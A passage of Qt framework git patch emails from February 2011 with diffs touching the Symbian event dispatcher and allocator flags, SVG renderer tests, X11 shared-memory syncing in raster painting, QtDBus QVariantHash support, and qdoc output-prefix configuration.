a/src/corelib/kernel/qeventdispatcher_symbian.cpp b/src/corelib/kernel/qeventdispatcher_symbian.cpp index d6ab618a..53796be 100644 --- a/src/corelib/kernel/qeventdispatcher_symbian.cpp +++ b/src/corelib/kernel/qeventdispatcher_symbian.cpp @@ -810,7 +810,7 @@ bool QEventDispatcherSymbian::processEvents ( QEventLoop::ProcessEventsFlags fla m_interrupt = false; #ifdef QT_SYMBIAN_PRIORITY_DROP - QTime eventTimer; + QElapsedTimer eventTimer; #endif while (1) { diff --git a/src/corelib/kernel/qeventdispatcher_symbian_p.h b/src/corelib/kernel/qeventdispatcher_symbian_p.h index b785aea..bdb6dce 100644 --- a/src/corelib/kernel/qeventdispatcher_symbian_p.h +++ b/src/corelib/kernel/qeventdispatcher_symbian_p.h @@ -63,6 +63,7 @@ #include #include #include +#include #include @@ -284,7 +285,7 @@ private: int m_delay; int m_avgEventTime; - QTime m_lastIdleRequestTimer; + QElapsedTimer m_lastIdleRequestTimer; }; #ifdef QT_DEBUG -- cgit v0.12 From a496c01470e609cd385c725bccc72e33430d4038 Mon Sep 17 00:00:00 2001 From: mread Date: Thu, 3 Feb 2011 14:51:48 +0000 Subject: Using a better flag to control the fast allocator The Qt fast allocator should be used on any Symbian platform where it is not supplied by euser. But it's better if the code is not there when euser provides the fast allocator as euser's implementation will be better maintained. The previous flag SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS was only associated with euser's fast allocator in S60 10.1. __SYMBIAN_KERNEL_HYBRID_HEAP__ is more accurately associated with it in the new MCL. Task-number: QTBUG-15901 Reviewed-by: Miikka Heikkinen --- src/corelib/arch/symbian/qt_hybridheap_symbian_p.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h b/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h index 4eff0f3..d1ce705 100644 --- a/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h +++ b/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h @@ -43,8 +43,9 @@ #define QT_HYBRIDHEAP_SYMBIAN_H #include +#include -#if !defined(SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS) && !defined(__WINS__) +#if !defined(__SYMBIAN_KERNEL_HYBRID_HEAP__) && !defined(__WINS__) //Enable the (backported) new allocator. When it is available in OS, //this flag should be disabled for that OS version onward #define QT_USE_NEW_SYMBIAN_ALLOCATOR -- cgit v0.12 From 0401781da17f949c0d42d176266ff47ed59b0793 Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 1 Feb 2011 09:44:42 +0100 Subject: Fixed library casing. RevBy: Trust me --- src/plugins/phonon/mmf/mmf.pro | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/plugins/phonon/mmf/mmf.pro b/src/plugins/phonon/mmf/mmf.pro index de00c9e..a9e5746 100644 --- a/src/plugins/phonon/mmf/mmf.pro +++ b/src/plugins/phonon/mmf/mmf.pro @@ -128,7 +128,7 @@ symbian { LIBS += -lAudioEqualizerEffect -lBassBoostEffect -lDistanceAttenuationEffect -lDopplerbase -lEffectBase -lEnvironmentalReverbEffect -lListenerDopplerEffect -lListenerLocationEffect -lListenerOrientationEffect -lLocationBase -lLoudnessEffect -lOrientationBase -lSourceDopplerEffect -lSourceLocationEffect -lSourceOrientationEffect -lStereoWideningEffect # This is to allow IAP to be specified - LIBS += -lCommDb + LIBS += -lcommdb # This is needed for having the .qtplugin file properly created on Symbian. QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/phonon_backend -- cgit v0.12 From 1f904ce8553f4d8a64ac793fe09e3b8cedb8bddf Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 1 Feb 2011 09:45:23 +0100 Subject: Fixed wrong static library extension on Symbian. After commit a1ba5568da6c57e, which moved the extension definitions from the symbian-makefile.conf to symbian.conf, the QMAKE_EXTENSION_STATICLIB was wrong because unix.conf was included later and overwrote it. Turns out we don't need unix.conf, so I just removed it. RevBy: Trust me --- mkspecs/common/symbian/symbian-makefile.conf | 2 -- 1 file changed, 2 deletions(-) diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf index 0360615..e51de1d 100644 --- a/mkspecs/common/symbian/symbian-makefile.conf +++ b/mkspecs/common/symbian/symbian-makefile.conf @@ -19,8 +19,6 @@ QMAKE_ELF2E32_FLAGS = --dlldata \ --compressionmethod bytepair \ --unpaged -include(../../common/unix.conf) - QMAKE_PREFIX_SHLIB = CONFIG *= no_plugin_name_prefix QMAKE_PREFIX_STATICLIB = -- cgit v0.12 From 0c494b2c3d05a00f0cb167daed24730a2cc5815e Mon Sep 17 00:00:00 2001 From: axis Date: Thu, 3 Feb 2011 15:37:05 +0100 Subject: Fixed wrong casing of a Symbian library. RevBy: Trust me --- demos/qmediaplayer/qmediaplayer.pro | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/qmediaplayer/qmediaplayer.pro b/demos/qmediaplayer/qmediaplayer.pro index d283ec8..fbf06d2 100644 --- a/demos/qmediaplayer/qmediaplayer.pro +++ b/demos/qmediaplayer/qmediaplayer.pro @@ -33,7 +33,7 @@ symbian { include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) - LIBS += -lCommDb + LIBS += -lcommdb TARGET.CAPABILITY="NetworkServices" } -- cgit v0.12 From accc1acc8632e5b21114600b5bcb92cf74004097 Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Thu, 3 Feb 2011 16:17:26 +0100 Subject: tst_qsvgrenderer: works on shadowbuild --- tests/auto/qsvgrenderer/qsvgrenderer.pro | 3 +++ tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp | 8 ++++++-- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/tests/auto/qsvgrenderer/qsvgrenderer.pro b/tests/auto/qsvgrenderer/qsvgrenderer.pro index 0b785e3..9f0f886 100644 --- a/tests/auto/qsvgrenderer/qsvgrenderer.pro +++ b/tests/auto/qsvgrenderer/qsvgrenderer.pro @@ -18,3 +18,6 @@ wince*|symbian { } } +!symbian: { + DEFINES += SRCDIR=\\\"$$PWD/\\\" +} diff --git a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp index 5928a09..9fbf2a0 100644 --- a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp +++ b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp @@ -51,6 +51,10 @@ #include #include +#ifndef SRCDIR +#define SRCDIR +#endif + //TESTED_CLASS= //TESTED_FILES= @@ -647,13 +651,13 @@ void tst_QSvgRenderer::gradientRefs() #ifndef QT_NO_COMPRESS void tst_QSvgRenderer::testGzLoading() { - QSvgRenderer renderer(QLatin1String("heart.svgz")); + QSvgRenderer renderer(QLatin1String(SRCDIR "heart.svgz")); QVERIFY(renderer.isValid()); QSvgRenderer resourceRenderer(QLatin1String(":/heart.svgz")); QVERIFY(resourceRenderer.isValid()); - QFile largeFileGz("large.svgz"); + QFile largeFileGz(SRCDIR "large.svgz"); largeFileGz.open(QIODevice::ReadOnly); QByteArray data = largeFileGz.readAll(); QSvgRenderer autoDetectGzData(data); -- cgit v0.12 From 68f78ba6be29b839433d924b5dc348d6d94b3d43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Wed, 2 Feb 2011 17:30:43 +0100 Subject: Fixed MIT-SHM errors in QNativeImage. The POSIX standard doesn't allow attaching to IPC_RMID-flagged memory, even if Linux allows it, thus we need to wait until after calling XShmAttach and XSync before we set the flag. See the man page for shmctl(). Reviewed-by: Olivier Goffart --- src/gui/image/qnativeimage.cpp | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp index 01baa36..8face87 100644 --- a/src/gui/image/qnativeimage.cpp +++ b/src/gui/image/qnativeimage.cpp @@ -181,15 +181,17 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* if (ok) { xshmimg->data = (char*)shmat(xshminfo.shmid, 0, 0); xshminfo.shmaddr = xshmimg->data; - if (shmctl(xshminfo.shmid, IPC_RMID, 0) == -1) - qWarning() << "Error while marking the shared memory segment to be destroyed"; ok = (xshminfo.shmaddr != (char*)-1); if (ok) image = QImage((uchar *)xshmimg->data, width, height, format); } xshminfo.readOnly = false; - if (ok) + if (ok) { ok = XShmAttach(X11->display, &xshminfo); + XSync(X11->display, False); + if (shmctl(xshminfo.shmid, IPC_RMID, 0) == -1) + qWarning() << "Error while marking the shared memory segment to be destroyed"; + } if (!ok) { qWarning() << "QNativeImage: Unable to attach to shared memory segment."; if (xshmimg->data) { -- cgit v0.12 From 74ad5ce57adedc91717ffd67e3e65b8f76d12052 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 3 Feb 2011 17:51:02 +0100 Subject: Doc: Renamed a tutorial image to avoid a clash with another image. Task-number: QTBUG-17120 --- doc/src/images/header.png | Bin 30302 -> 0 bytes doc/src/images/modelview-header.png | Bin 0 -> 30302 bytes doc/src/tutorials/modelview.qdoc | 2 +- 3 files changed, 1 insertion(+), 1 deletion(-) delete mode 100755 doc/src/images/header.png create mode 100755 doc/src/images/modelview-header.png diff --git a/doc/src/images/header.png b/doc/src/images/header.png deleted file mode 100755 index 2597635..0000000 Binary files a/doc/src/images/header.png and /dev/null differ diff --git a/doc/src/images/modelview-header.png b/doc/src/images/modelview-header.png new file mode 100755 index 0000000..2597635 Binary files /dev/null and b/doc/src/images/modelview-header.png differ diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc index 679d2a9..cae7764 100644 --- a/doc/src/tutorials/modelview.qdoc +++ b/doc/src/tutorials/modelview.qdoc @@ -348,7 +348,7 @@ \section2 2.4 Setting up Headers for Columns and Rows Headers can be hidden via a view method: \c{tableView->verticalHeader()->hide();} - \image header.png + \image modelview-header.png The header content, however, is set via the model, so we reimplement the \l{QAbstractItemModel::headerData()}{headerData()} method: -- cgit v0.12 From 30dee4f433d2426ce2dc0bccda8e62683380a1c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Thu, 3 Feb 2011 17:06:15 +0100 Subject: Improve performance of partial updates in raster window surface on X11. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An XSync is needed to prevent the raster engine from writing to the shared memory raster backbuffer at the same time the X server reads from it. However, instead of doing the sync right after telling X to blit, we can do it right before we start writing to it with raster. At this point there will on average be less processing heavy X commands in the command queue, and we thus spend less time blocking the GUI thread. Measured frame rate improvement of 20 - 60 % in an update stress testing the performance of partial updates. Idea-from: Olivier Goffart Reviewed-by: Bjørn Erik Nilsen --- src/gui/painting/qwindowsurface_raster.cpp | 29 +++++++++++++++++++++++++++-- src/gui/painting/qwindowsurface_raster_p.h | 3 +++ 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/src/gui/painting/qwindowsurface_raster.cpp b/src/gui/painting/qwindowsurface_raster.cpp index 843c9ff..419518ac 100644 --- a/src/gui/painting/qwindowsurface_raster.cpp +++ b/src/gui/painting/qwindowsurface_raster.cpp @@ -78,6 +78,9 @@ public: #ifdef Q_WS_X11 GC gc; +#ifndef QT_NO_MITSHM + uint needsSync : 1; +#endif #ifndef QT_NO_XRENDER uint translucentBackground : 1; #endif @@ -94,6 +97,9 @@ QRasterWindowSurface::QRasterWindowSurface(QWidget *window, bool setDefaultSurfa d_ptr->translucentBackground = X11->use_xrender && window->x11Info().depth() == 32; #endif +#ifndef QT_NO_MITHSM + d_ptr->needsSync = false; +#endif #endif d_ptr->image = 0; d_ptr->inSetGeometry = false; @@ -116,8 +122,23 @@ QPaintDevice *QRasterWindowSurface::paintDevice() return &d_ptr->image->image; } +#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM) +void QRasterWindowSurface::syncX() +{ + // delay writing to the backbuffer until we know for sure X is done reading from it + if (d_ptr->needsSync) { + XSync(X11->display, false); + d_ptr->needsSync = false; + } +} +#endif + void QRasterWindowSurface::beginPaint(const QRegion &rgn) { +#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM) + syncX(); +#endif + #if (defined(Q_WS_X11) && !defined(QT_NO_XRENDER)) || (defined(Q_WS_WIN) && !defined(Q_WS_WINCE)) if (!qt_widget_private(window())->isOpaque && window()->testAttribute(Qt::WA_TranslucentBackground)) { #if defined(Q_WS_WIN) && !defined(Q_WS_WINCE) @@ -217,13 +238,13 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi if (d_ptr->image->xshmpm) { XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc, br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y()); - XSync(X11->display, False); + d_ptr->needsSync = true; } else if (d_ptr->image->xshmimg) { const QImage &src = d->image->image; br = br.intersected(src.rect()); XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg, br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False); - XSync(X11->display, False); + d_ptr->needsSync = true; } else #endif { @@ -392,6 +413,10 @@ bool QRasterWindowSurface::scroll(const QRegion &area, int dx, int dy) if (!d->image || d->image->image.isNull()) return false; +#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM) + syncX(); +#endif + const QVector rects = area.rects(); for (int i = 0; i < rects.size(); ++i) qt_scrollRectInImage(d->image->image, rects.at(i), QPoint(dx, dy)); diff --git a/src/gui/painting/qwindowsurface_raster_p.h b/src/gui/painting/qwindowsurface_raster_p.h index b6e61e1..903810b 100644 --- a/src/gui/painting/qwindowsurface_raster_p.h +++ b/src/gui/painting/qwindowsurface_raster_p.h @@ -107,6 +107,9 @@ public: bool scroll(const QRegion &area, int dx, int dy); private: +#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM) + void syncX(); +#endif void prepareBuffer(QImage::Format format, QWidget *widget); Q_DECLARE_PRIVATE(QRasterWindowSurface) QScopedPointer d_ptr; -- cgit v0.12 From e97d3f3f571e3cc5f5851ea2e131ac92212802dd Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 3 Feb 2011 19:30:09 +0100 Subject: QtDBus: add support for QVariantHash out of the box --- src/dbus/qdbusargument.h | 15 +++++++++++++++ src/dbus/qdbusmetatype.cpp | 1 + 2 files changed, 16 insertions(+) diff --git a/src/dbus/qdbusargument.h b/src/dbus/qdbusargument.h index 2c8693b..e331d8f 100644 --- a/src/dbus/qdbusargument.h +++ b/src/dbus/qdbusargument.h @@ -376,6 +376,21 @@ inline const QDBusArgument &operator>>(const QDBusArgument &arg, QHash & return arg; } +inline QDBusArgument &operator<<(QDBusArgument &arg, const QVariantHash &map) +{ + arg.beginMap(QVariant::String, qMetaTypeId()); + QVariantHash::ConstIterator it = map.constBegin(); + QVariantHash::ConstIterator end = map.constEnd(); + for ( ; it != end; ++it) { + arg.beginMapEntry(); + arg << it.key() << QDBusVariant(it.value()); + arg.endMapEntry(); + } + arg.endMap(); + return arg; +} + + QT_END_NAMESPACE Q_DECLARE_METATYPE(QDBusArgument) diff --git a/src/dbus/qdbusmetatype.cpp b/src/dbus/qdbusmetatype.cpp index 6de5d93..9f29205 100644 --- a/src/dbus/qdbusmetatype.cpp +++ b/src/dbus/qdbusmetatype.cpp @@ -127,6 +127,7 @@ void QDBusMetaTypeId::init() registerHelper(); registerHelper(); registerHelper(); + registerHelper(); qDBusRegisterMetaType >(); qDBusRegisterMetaType >(); -- cgit v0.12 From 5ee75c4a483405180788b5a4986dce2cf9360d86 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 3 Feb 2011 21:05:16 +0100 Subject: Added a configuration variable for the QML documentation file prefix. This required a certain amount of refactoring to make the new variable visible to the relevant parts of the code. I also moved the fullDocumentLocation() function into the HtmlGenerator class, where it belongs. Task-number: QTBUG-17071 --- tools/qdoc3/config.h | 1 + tools/qdoc3/doc/qdoc-manual.qdoc | 21 +++++ tools/qdoc3/generator.cpp | 16 ++++ tools/qdoc3/generator.h | 2 + tools/qdoc3/helpprojectwriter.cpp | 32 ++++---- tools/qdoc3/htmlgenerator.cpp | 147 +++++++++++++++++++++++++++++++++- tools/qdoc3/htmlgenerator.h | 1 + tools/qdoc3/node.cpp | 2 +- tools/qdoc3/pagegenerator.cpp | 8 +- tools/qdoc3/tree.cpp | 162 +++----------------------------------- 10 files changed, 217 insertions(+), 175 deletions(-) diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index bc2b6a2..9ebc0f8 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -148,6 +148,7 @@ class Config #define CONFIG_OUTPUTENCODING "outputencoding" #define CONFIG_OUTPUTLANGUAGE "outputlanguage" #define CONFIG_OUTPUTFORMATS "outputformats" +#define CONFIG_OUTPUTPREFIXES "outputprefixes" #define CONFIG_PROJECT "project" #define CONFIG_QHP "qhp" #define CONFIG_QUOTINGINFORMATION "quotinginformation" diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc index adf92fe..7290c0e 100644 --- a/tools/qdoc3/doc/qdoc-manual.qdoc +++ b/tools/qdoc3/doc/qdoc-manual.qdoc @@ -7069,6 +7069,8 @@ \l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir}, \l {22-qdoc-configuration-generalvariables.html#outputformats} {outputformats}, + \l {22-qdoc-configuration-generalvariables.html#outputprefixes} + {outputprefixes}, \l {22-qdoc-configuration-generalvariables.html#slow}{slow}, \l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs}, \l {22-qdoc-configuration-generalvariables.html#sources}{sources}, @@ -7155,6 +7157,8 @@ \l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir}, \l {22-qdoc-configuration-generalvariables.html#outputformats} {outputformats}, + \l {22-qdoc-configuration-generalvariables.html#outputprefixes} + {outputprefixes}, \l {22-qdoc-configuration-generalvariables.html#slow}{slow}, \l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs}, \l {22-qdoc-configuration-generalvariables.html#sources}{sources}, @@ -7796,6 +7800,23 @@ the default format, and doesn't need to be specified. \row + \o \bold outputprefixes \target outputprefixes + \o \bold {The \c outputprefixes variable specifies a mapping between + types of files and the prefixes to prepend to the HTML file names + in the generated documentation.} + + For example: + + \code + outputprefixes = QML + outputprefixes.QML = qt-components- + \endcode + + Be default, files containing the API documentation for QML elements + or components are prefixed with "qml-". In the above example, the + prefix "qt-components-" is used instead. + + \row \o \bold qhp \target qhp \o \bold{The \c qhp variable is used to define the information to be written out to Qt Help Project (\c{qhp}) files.} diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 276eab4..b4768db 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -43,7 +43,9 @@ generator.cpp */ #include +#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES #include +#endif #include "codemarker.h" #include "config.h" #include "doc.h" @@ -73,6 +75,7 @@ QStringList Generator::styleFiles; QStringList Generator::styleDirs; QString Generator::outDir; QString Generator::project; +QHash Generator::outputPrefixes; static void singularPlural(Text& text, const NodeList& nodes) { @@ -272,6 +275,14 @@ void Generator::initialize(const Config &config) } project = config.getString(CONFIG_PROJECT); + + QStringList prefixes = config.getStringList(CONFIG_OUTPUTPREFIXES); + if (!prefixes.isEmpty()) { + foreach (QString prefix, prefixes) + outputPrefixes[prefix] = config.getString( + CONFIG_OUTPUTPREFIXES + Config::dot + prefix); + } else + outputPrefixes[QLatin1String("QML")] = QLatin1String("qml-"); } void Generator::terminate() @@ -1259,4 +1270,9 @@ QString Generator::fullName(const Node *node, return marker->plainFullName(node, relative); } +QString Generator::outputPrefix(const QString &nodeType) +{ + return outputPrefixes[nodeType]; +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index 8378d07..4482313 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -148,6 +148,7 @@ class Generator static QString trimmedTrailing(const QString &string); static bool matchAhead(const Atom *atom, Atom::Type expectedAtomType); static void supplementAlsoList(const Node *node, QList &alsoList); + static QString outputPrefix(const QString &nodeType); private: void generateReimplementedFrom(const FunctionNode *func, @@ -198,6 +199,7 @@ class Generator static QStringList styleDirs; static QString outDir; static QString project; + static QHash outputPrefixes; }; QT_END_NAMESPACE diff --git a/tools/qdoc3/helpprojectwriter.cpp b/tools/qdoc3/helpprojectwriter.cpp index 386ce20..f2e2f04 100644 --- a/tools/qdoc3/helpprojectwriter.cpp +++ b/tools/qdoc3/helpprojectwriter.cpp @@ -214,7 +214,7 @@ QStringList HelpProjectWriter::keywordDetails(const Node *node) const details << node->name(); details << node->name(); } - details << tree->fullDocumentLocation(node); + details << HtmlGenerator::fullDocumentLocation(node); return details; } @@ -274,12 +274,12 @@ bool HelpProjectWriter::generateSection(HelpProject &project, case Node::Class: project.keywords.append(keywordDetails(node)); - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); break; case Node::Namespace: project.keywords.append(keywordDetails(node)); - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); break; case Node::Enum: @@ -299,7 +299,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, details << item.name(); // "name" details << item.name(); // "id" } - details << tree->fullDocumentLocation(node); + details << HtmlGenerator::fullDocumentLocation(node); project.keywords.append(details); } } @@ -330,7 +330,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, if (node->relates()) { project.memberStatus[node->relates()].insert(node->status()); - project.files.insert(tree->fullDocumentLocation(node->relates())); + project.files.insert(HtmlGenerator::fullDocumentLocation(node->relates())); } else if (node->parent()) project.memberStatus[node->parent()].insert(node->status()); } @@ -344,7 +344,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, // Use the location of any associated enum node in preference // to that of the typedef. if (enumNode) - typedefDetails[2] = tree->fullDocumentLocation(enumNode); + typedefDetails[2] = HtmlGenerator::fullDocumentLocation(enumNode); project.keywords.append(typedefDetails); } @@ -364,11 +364,11 @@ bool HelpProjectWriter::generateSection(HelpProject &project, QStringList details; details << keyword->string() << keyword->string() - << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string()); + << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string()); project.keywords.append(details); } else fakeNode->doc().location().warning( - tr("Bad keyword in %1").arg(tree->fullDocumentLocation(node)) + tr("Bad keyword in %1").arg(HtmlGenerator::fullDocumentLocation(node)) ); } } @@ -382,16 +382,16 @@ bool HelpProjectWriter::generateSection(HelpProject &project, QStringList details; details << title << title - << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title); + << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title); project.keywords.append(details); } else fakeNode->doc().location().warning( - tr("Bad contents item in %1").arg(tree->fullDocumentLocation(node)) + tr("Bad contents item in %1").arg(HtmlGenerator::fullDocumentLocation(node)) ); } } */ - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); } break; } @@ -470,7 +470,7 @@ void HelpProjectWriter::generate(const Tree *tre) void HelpProjectWriter::writeNode(HelpProject &project, QXmlStreamWriter &writer, const Node *node) { - QString href = tree->fullDocumentLocation(node); + QString href = HtmlGenerator::fullDocumentLocation(node); QString objName = node->name(); switch (node->type()) { @@ -613,12 +613,12 @@ void HelpProjectWriter::generateProject(HelpProject &project) writer.writeStartElement("toc"); writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle)); + QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle)); if (indexPath.isEmpty()) indexPath = "index.html"; writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", project.indexTitle); - project.files.insert(tree->fullDocumentLocation(rootNode)); + project.files.insert(HtmlGenerator::fullDocumentLocation(rootNode)); generateSections(project, writer, rootNode); @@ -656,7 +656,7 @@ void HelpProjectWriter::generateProject(HelpProject &project) const FakeNode *page = tree->findFakeNodeByTitle(atom->string()); writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(page); + QString indexPath = HtmlGenerator::fullDocumentLocation(page); writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", atom->string()); project.files.insert(indexPath); @@ -681,7 +681,7 @@ void HelpProjectWriter::generateProject(HelpProject &project) if (!name.isEmpty()) { writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle)); + QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle)); writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", subproject.title); project.files.insert(indexPath); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 196bd44..0ff28af 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -4246,6 +4246,151 @@ void HtmlGenerator::generateExtractionMark(const Node *node, ExtractionMarkType } } +/*! + Returns the full document location for HTML-based documentation. + */ +QString HtmlGenerator::fullDocumentLocation(const Node *node) +{ + if (!node) + return ""; + if (!node->url().isEmpty()) + return node->url(); + + QString parentName; + QString anchorRef; + + if (node->type() == Node::Namespace) { + + // The root namespace has no name - check for this before creating + // an attribute containing the location of any documentation. + + if (!node->fileBase().isEmpty()) + parentName = node->fileBase() + ".html"; + else + return ""; + } + else if (node->type() == Node::Fake) { +#ifdef QDOC_QML + if ((node->subType() == Node::QmlClass) || + (node->subType() == Node::QmlBasicType)) { + QString fb = node->fileBase(); + if (fb.startsWith(Generator::outputPrefix(QLatin1String("QML")))) + return fb + ".html"; + else + return Generator::outputPrefix(QLatin1String("QML")) + node->fileBase() + QLatin1String(".html"); + } else +#endif + parentName = node->fileBase() + ".html"; + } + else if (node->fileBase().isEmpty()) + return ""; + + Node *parentNode = 0; + + if ((parentNode = node->relates())) + parentName = fullDocumentLocation(node->relates()); + else if ((parentNode = node->parent())) { + if (parentNode->subType() == Node::QmlPropertyGroup) { + parentNode = parentNode->parent(); + parentName = fullDocumentLocation(parentNode); + } + else + parentName = fullDocumentLocation(node->parent()); + } + + switch (node->type()) { + case Node::Class: + case Node::Namespace: + if (parentNode && !parentNode->name().isEmpty()) + parentName = parentName.replace(".html", "") + "-" + + node->fileBase().toLower() + ".html"; + else + parentName = node->fileBase() + ".html"; + break; + case Node::Function: + { + /* + Functions can be destructors, overloaded, or + have associated properties. + */ + const FunctionNode *functionNode = + static_cast(node); + + if (functionNode->metaness() == FunctionNode::Dtor) + anchorRef = "#dtor." + functionNode->name().mid(1); + + else if (functionNode->associatedProperty()) + return fullDocumentLocation(functionNode->associatedProperty()); + + else if (functionNode->overloadNumber() > 1) + anchorRef = "#" + functionNode->name() + + "-" + QString::number(functionNode->overloadNumber()); + else + anchorRef = "#" + functionNode->name(); + } + + /* + Use node->name() instead of node->fileBase() as + the latter returns the name in lower-case. For + HTML anchors, we need to preserve the case. + */ + break; + case Node::Enum: + anchorRef = "#" + node->name() + "-enum"; + break; + case Node::Typedef: + anchorRef = "#" + node->name() + "-typedef"; + break; + case Node::Property: + anchorRef = "#" + node->name() + "-prop"; + break; + case Node::QmlProperty: + anchorRef = "#" + node->name() + "-prop"; + break; + case Node::QmlSignal: + anchorRef = "#" + node->name() + "-signal"; + break; + case Node::QmlMethod: + anchorRef = "#" + node->name() + "-method"; + break; + case Node::Variable: + anchorRef = "#" + node->name() + "-var"; + break; + case Node::Target: + anchorRef = "#" + Doc::canonicalTitle(node->name()); + break; + case Node::Fake: + { + /* + Use node->fileBase() for fake nodes because they are represented + by pages whose file names are lower-case. + */ + parentName = node->fileBase(); + parentName.replace("/", "-").replace(".", "-"); + parentName += ".html"; + } + break; + default: + break; + } + + // Various objects can be compat (deprecated) or obsolete. + if (node->type() != Node::Class && node->type() != Node::Namespace) { + switch (node->status()) { + case Node::Compat: + parentName.replace(".html", "-qt3.html"); + break; + case Node::Obsolete: + parentName.replace(".html", "-obsolete.html"); + break; + default: + ; + } + } + + return parentName.toLower() + anchorRef; +} + #endif - QT_END_NAMESPACE +QT_END_NAMESPACE diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 6e00ed3..eed96e7 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -98,6 +98,7 @@ class HtmlGenerator : public PageGenerator static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); static QString cleanRef(const QString& ref); static QString sinceTitle(int i) { return sinceTitles[i]; } + static QString fullDocumentLocation(const Node *node); protected: virtual void startText(const Node *relative, CodeMarker *marker); diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index a36d440..7195322 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1693,7 +1693,7 @@ static QString valueType(const QString& n) read-only. The algorithm for figuring this out is long amd tedious and almost certainly will break. It currently doesn't work for qmlproperty bool PropertyChanges::explicit, - because the tokenized gets confused on "explicit" . + because the tokenizer gets confused on "explicit". */ bool QmlPropertyNode::isWritable(const Tree* tree) const { diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 